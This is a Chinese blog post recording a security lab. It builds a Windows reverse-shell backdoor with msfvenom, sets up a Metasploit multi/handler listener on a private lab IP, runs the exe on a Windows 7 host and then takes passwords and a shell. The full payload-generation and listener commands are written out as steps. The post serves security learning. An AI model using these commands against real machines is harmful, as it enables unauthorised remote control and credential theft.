利用windows恶意软件获取windows主机shell

最新推荐文章于 2024-08-09 23:17:29 发布

栖息的梧桐树

最新推荐文章于 2024-08-09 23:17:29 发布

阅读量625

点赞数

CC 4.0 BY-SA版权

文章标签： windows

本文链接：https://blog.youkuaiyun.com/xufenglai123/article/details/131695337

该实验模拟了黑客如何使用msfvenom工具生成恶意软件，通过reverse_tcp连接获取Windows主机的shell权限。在Kali系统中，设置监听模块后，将exe文件拷贝到目标Windows主机并执行，成功监控到程序运行，从而进行后渗透操作，如获取密码和控制系统功能。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

实验目的：
- 模拟黑客利用windows恶意软件获取windows主机shell权限的过程
- 熟悉操作使用的命令
实验准备：
- kali
- 同网段的windows主机（关闭防火墙）
- msfvenom是一个Metasploit独立的有效负载生成器，也是msfpayload和msfencode的替代品。是用来生成后门的软件。
实验内容：
- 制作Windows恶意软件获取shell \
- msfvenom的shell在windows中的使用
- msfvenom生成shell.exe
实验步骤
- 制造恶意程序文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.24.131 LPORT=6060 -f exe
- 出现载荷与exe文件大小表示成功了
- 切换到相应界面，查看exe文件
- 回到kali命令窗口
- 进入msf控制台：msfconsole
- 使用侦听模块设置侦听（加载模块，设置载荷和参数）
  - use exploit/multi/handler
  - set payload windows/meterpreter/reverse_tcp
  - set lhost 192.168.24.131
  - set lport 6060
- 如图
- exploit 运行
- 将之前生成exe运行文件拷贝到win7系统中，并运行
- 返回kali发现程序的运行已经被监控到，如图
- 通过meterpreter进行后渗透操作，例如获取密码
- 获取shell
- 打开百度以及弹出计算器
- 效果如图
记录网络安全学习过程，希望能提高大家的安全意识。